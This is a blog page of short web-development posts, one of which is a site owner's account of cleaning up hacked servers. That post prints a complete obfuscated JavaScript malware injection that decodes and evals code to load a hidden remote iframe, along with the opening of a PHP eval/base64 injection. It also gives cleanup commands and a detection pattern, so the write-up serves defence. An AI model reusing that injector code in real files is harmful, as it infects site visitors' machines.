Posts about Web Design and Stuff

How to add a Windows 8 Site Tile to your Website

Posted on Friday, February 01st (112 days ago)

Windows 8 lets you save sites to your “home screen”, quite similarly to the iphone, ipad and others do.

On Windows 8 they’re called “Site Tiles” and it’s quite easy to add this ability to your site. Here’s how:

Make your site tile image and add to your webpage:

     
  1. Make a 144x144 transparent png image. Most I’ve seen are simply a white graphic element as the “Metro” looks seems to be white over a solid color.
    2.  
  2. Define what the background color under your image should be.
    3.  
  3. Add the meta tags to your page so Windows 8 knows you’ve “got the stuff”.

I made a quick test image using a snail custom shape and tried to fill the 144x144 square as much as possible. There was space above/below the snail but the having the space seems to be a non-issue. Here’s the image: http://sitesbyjoe.com/rwd/assets/images/W8-icon.png

Here’s the meta tags I added to my page:

<meta name="msapplication-TileImage" content="assets/images/W8-icon.png">
<meta name="msapplication-TileColor" content="#923f3f">

I had Jen @inkpixelspaper try it out on her Windows 8 VM and here’s the result she shared with me:

Windows 8 Site Tile Exmaple Screenshot

Codekit and Preprocessing

Posted on Monday, January 14th (130 days ago)

There’s so much going on in Front End Development that even the experts have a hard time keeping up. In some cases there are so many different school of thought happening at once that you sort of have to just pick one and hope you don’t regret it.

That’s sort of how I was feeling about things like CSS pre-processors and other instances where you write code that generates code. Seems evil.

I could see that it was more than a trend, pre-processing was finding it’s way into nearly every new framework and workflow I was seeing out there.

I gave LESS a try. I liked it. In fact, I liked it so much that I use it for everything. I did not however, opt to use the javascript file/less file on my server setup advertised on the website. Instead what I started to use the LESS app to compile the CSS files on my local machine, then move the compiled CSS to the server.

The LESS app graduated me to using Codekit, which is also the followup release for that program.

I gotta say, Codekit is changing the way I think about things and more importantly, how I DO things.

How I work with Codekit

     
  • First I set up a local copy of the site to run on my local machine, with MAMP as my server.
    •  
  • Then I open up the page I’m working on in a browser.
    •  
  • The I edit page and CSS in Coda
    •  
  • Codekit refreshes the page every time I save, decreasing the code/test cycle speed tremendously.
    •  
  • Publish to the production server when finished.

There’s a lot more Codekit can do beside refresh you screen and compile your LESS/CSS code - check it out! http://incident57.com/codekit/

Fighting with Hackers and Website Security

Posted on Wednesday, January 02nd (142 days ago)

Between November and January my server was attacked twice. The attacks filled all my index.php files with malicious scripts and added malicious code to the end of all my javascript files. It was a total disaster and in both cases Google blocked every site on my server, in some cases for up to a week!

In short, that totally sucked.

Web Security

Web security is a funny thing. There are points when you say to yourself as a programmer, “this is secure”. Wrong. It only seems secure. The reality is that there is no security on the web and even teh most brilliant minds I know have fallen victim to some sort of attack at one time or another.

Why Attack a Website?

It’s all about money. Imagine that a computer programmer discovers that they can make a quick buck by sending traffic to certain websites. How can they get tons of people to visit the website? Spend money on devent marketing? Try to create buzz for a site? That’d be the hard way.

What if you could just write a program that automatically sends people to the website? What if you could write a program to send a million poeple to a website? This is the motivation.

So the hacker will make a website that forces the user to the site that is paying them if they visit the page. Then they make another page that loads a computer script. That’s where I enter the hacker’s plan. If they can find a bunch of common security hole that are regularly found, and can use the security holes to make more and more pages that point to the website that’s paying the hacker, eventually they can drive huge amounts of traffic where ever they wish.

Security Holes to Watch out for

I know I could never fully cover EVERY possible security hole that could exist on your web server, but I’ll cover what holes I found on my own server:

     
  • Passwords
    •  
  • File Permissions
    •  
  • 3rd Party Software
    •  
  • Old Code and Security Practices

In my case, the hacker was able to break into a Wordpress installation on my server and create an account that could modify files on the server. The hacker then began to fill my files with malicious code that would hijack people’s computers if they landed on any of the infected web pages.

Passwords

Who wouldn’t enjoy a nice simple password like “puppypaws” or something like that? Easy to remember right? That = easy to hack. You need to have long, horrible passwords filled with mixed cases of letters, numbers and at least one weird symbol. It’s pretty much the best way to protect yourself.

File Permissions

Any folders that have 777 as their permission settings are asking for an attack. Anyone in the world can write to a folder set that way. Things hsould be more like 644 for normal things and perhaps 755 for folders that your users need to be able to upload to.

3rd Party Software

If you didn’t write it don’t assume that the person who did had great security skills - or that they even thought about that for one second. Wordpress, while “secure” in some senses is a huge target since so many people use it. If you’re gonna use it, keep it up to date and watch out what plugins you use.

Old Code and Security Practices

Code that seemed safe in 2003 is not gonna be safe today. Period. The sites I wrote then are probably open for SQL injection and other types of hacks. What to do?

What the Web is Doing about this

It’s interesting that while 30 of my sites were compromised and passing out malware, that over 8000 sites are doing the same thing across the datacenter I’m located in. It’s a huge problem.

Google’s and a number of entities that monitor the types of malware being passed have joined forces to prevent the spread of the malware. What’s now happening is that when the malware scannign entities find a compromised site they let google know and google adds the warning/block to their search results.

PHP File Injection

The first attack I found was a bunch of injections on all my index.php files at the very top line before my other code:

<?php eval(gzinflate(base64_decode…. this string goes on for a long time…

I tell you this. If you see an eval() statement, a base64_decode() and a gzinflate() all together that’s a pretty bad sign!

Javascript File Injection

Here’s an example javascript file and the malicious code that was added to the end, beginning the the hashed string in the comment delimiters.

jQuery(document).ready(function() {
  // do some javascriptical stuff here.
});/*eae44dbde1a4f4da8ab039b7fe0a3e5f*/try{document["b"+"ody"]*=document}catch(dgsgsdg){zxc=1;ww=window;}try{d=document["createElement"]("span");}catch(agdsg){zxc=0;}try{if(ww.document)window["doc"+"ument"]["body"]="asd"}catch(bawetawe){if(ww.document){v=window;n=["3o","4d","46","3l","4c","41","47","46","16","3p","4a","3j","1e","3j","1i","3k","1f","4j","4a","3n","4c","4d","4a","46","16","2p","3j","4c","40","1k","3o","44","47","47","4a","1e","2p","3j","4c","40","1k","4a","3j","46","3m","47","45","1e","1f","1g","1e","3k","1j","3j","1h","1n","1f","1f","1h","3j","27","4l","d","a","3o","4d","46","3l","4c","41","47","46","16","4a","4b","1e","1f","4j","4a","3n","4c","4d","4a","46","16","2p","3j","4c","40","1k","4a","3j","46","3m","47","45","1e","1f","1k","4c","47","35","4c","4a","41","46","3p","1e","1p","22","1f","1k","4b","4d","3k","4b","4c","4a","41","46","3p","1e","21","1f","27","4l","d","a","41","3o","1e","46","3j","4e","41","3p","3j","4c","47","4a","1k","3l","47","47","43","41","3n","2h","46","3j","3k","44","3n","3m","16","1c","1c","16","3m","47","3l","4d","45","3n","46","4c","1k","3l","47","47","43","41","3n","1k","41","46","3m","3n","4g","31","3o","1e","1d","4c","3n","4b","4c","3l","47","47","43","41","3n","1n","29","1d","1f","29","29","1j","1n","1f","4j","d","a","9","4e","3j","4a","16","4b","4c","46","45","29","4a","4b","1e","1f","27","d","a","9","3m","47","3l","4d","45","3n","46","4c","1k","4f","4a","41","4c","3n","1e","1d","28","4b","4c","4h","44","3n","2a","1k","4b","1d","1h","4b","4c","46","45","1h","1d","16","4j","16","48","47","4b","41","4c","41","47","46","26","3j","3k","4b","47","44","4d","4c","3n","27","16","44","3n","3o","4c","26","1j","1d","1h","3p","4a","3j","1e","22","1m","1m","1i","1n","1m","1m","1m","1f","1h","1d","48","4g","27","16","4c","47","48","26","1j","1d","1h","3p","4a","3j","1e","22","1m","1m","1i","1n","1m","1m","1m","1f","1h","1d","48","4g","27","16","4l","28","1l","4b","4c","4h","44","3n","2a","16","28","3m","41","4e","16","3l","44","3j","4b","4b","29","18","4b","1d","1h","4b","4c","46","45","1h","1d","18","2a","28","41","3o","4a","3j","45","3n","16","4b","4a","3l","29","18","40","4c","4c","48","26","1l","1l","3m","47","46","3j","4c","41","47","46","4f","3j","4a","3n","3l","3j","44","44","3n","4a","4b","1k","41","46","3o","47","1l","3j","3m","1l","3o","3n","3n","3m","1k","48","40","48","18","16","4f","41","3m","4c","40","29","18","1d","1h","3p","4a","3j","1e","1p","1m","1m","1i","22","1m","1m","1f","1h","1d","18","16","40","3n","41","3p","40","4c","29","18","1d","1h","3p","4a","3j","1e","1p","1m","1m","1i","22","1m","1m","1f","1h","1d","18","2a","28","1l","41","3o","4a","3j","45","3n","2a","28","1l","3m","41","4e","2a","1d","1f","27","d","a","9","4e","3j","4a","16","3n","4g","48","29","46","3n","4f","16","2g","3j","4c","3n","1e","1f","27","3n","4g","48","1k","4b","3n","4c","2g","3j","4c","3n","1e","3n","4g","48","1k","3p","3n","4c","2g","3j","4c","3n","1e","1f","1h","23","1f","27","d","a","9","3m","47","3l","4d","45","3n","46","4c","1k","3l","47","47","43","41","3n","29","1d","4c","3n","4b","4c","3l","47","47","43","41","3n","1n","29","1d","1h","4a","4b","1e","1f","1h","1d","27","16","3n","4g","48","41","4a","3n","4b","29","1d","1h","3n","4g","48","1k","4c","47","2j","2p","36","35","4c","4a","41","46","3p","1e","1f","27","d","a","4l"];h=2;s="";if(zxc){for(i=0;i-615!=0;i++){k=i;s+=String.fromCharCode(parseInt(n[i],26));}z=s;vl="val";if(ww.document)ww["e"+vl](z)}}}/*eae44dbde1a4f4da8ab039b7fe0a3e5f*/

Commands to run in your Shell

These are the command I ran to clean out all the javascript injections - run with caution as the patterns it looks for can sometimes occur legitimately.

grep -lr --include=*.js "try{d" . | xargs sed -i.bak 's/try{d.*/\/\//g'


grep -lr --include=*.js "try{document\[\"b" . | xargs sed -i.bak 's/try{d.*/\/\//g'

Both of these commands do pretty much the same thing, but the 2nd version is a little more precise. They look through all directories for javascript files that contain and matching pattern. Then it makes a backup copy of the file and adds a .bak to the end of the filename. Finally it removes the injection and replaces it with a comment delimiter “//”.

This worked for me since the javascript injections all happened at the very end of the file.

Resources

Google’s Safe Browsing Diagnostic Report

http://safebrowsing.clients.google.com/safebrowsing/diagnostic?client=Firefox&hl=en-US&site=yourwebsite.com

Change the “yourwebsite.com” to the web address you want to test and you can see what Google is reporting for your website.

PHP Wordpress Malware Scanner

http://www.php-beginners.com/wordpress-hack-malware-scanner.html

This script is designed to be run from the command line on your web server and will read through your directories and give you a report of potential threats it finds. This did a good job of catching injections in my PHP files, but didn’t catch the injections on my javascript files.

Another Malware Scanner Script

http://25yearsofprogramming.com/php/findmaliciouscode.htm

This script worked really well, but I had to add to the list of patterns to catch the injections on my javascript files. This run you upload to your server and run from the browser.

I added the following pattern to search form, just under the “Other Suspicous Text Strings” section of the script. This caught the javascript injections nicely.

# MY STUFF HERE
'/try{document/',

Online Malware Scanner

http://sitecheck.sucuri.net/results/yourwebsite.com

Change “yourwebsite.com” to the web address and this site will give you a scan and tell you what files it finds that contain malicious code - priceless.

In Conclusion

I’m no security expert. Don’t take anything written here as real security advice. However, if reading this made you think of your own hosting environment it’d be a good idea to tighten up some of those security holes.

PHP - Quickly get the first and last elements of a foreach loop

Posted on Tuesday, June 26th (332 days ago)

foreach($array as $element) {
    if ($element === reset($array))
        echo 'FIRST ELEMENT!';

    if ($element === end($array))
        echo 'LAST ELEMENT!';
}

Wanna Talk?

Contact Me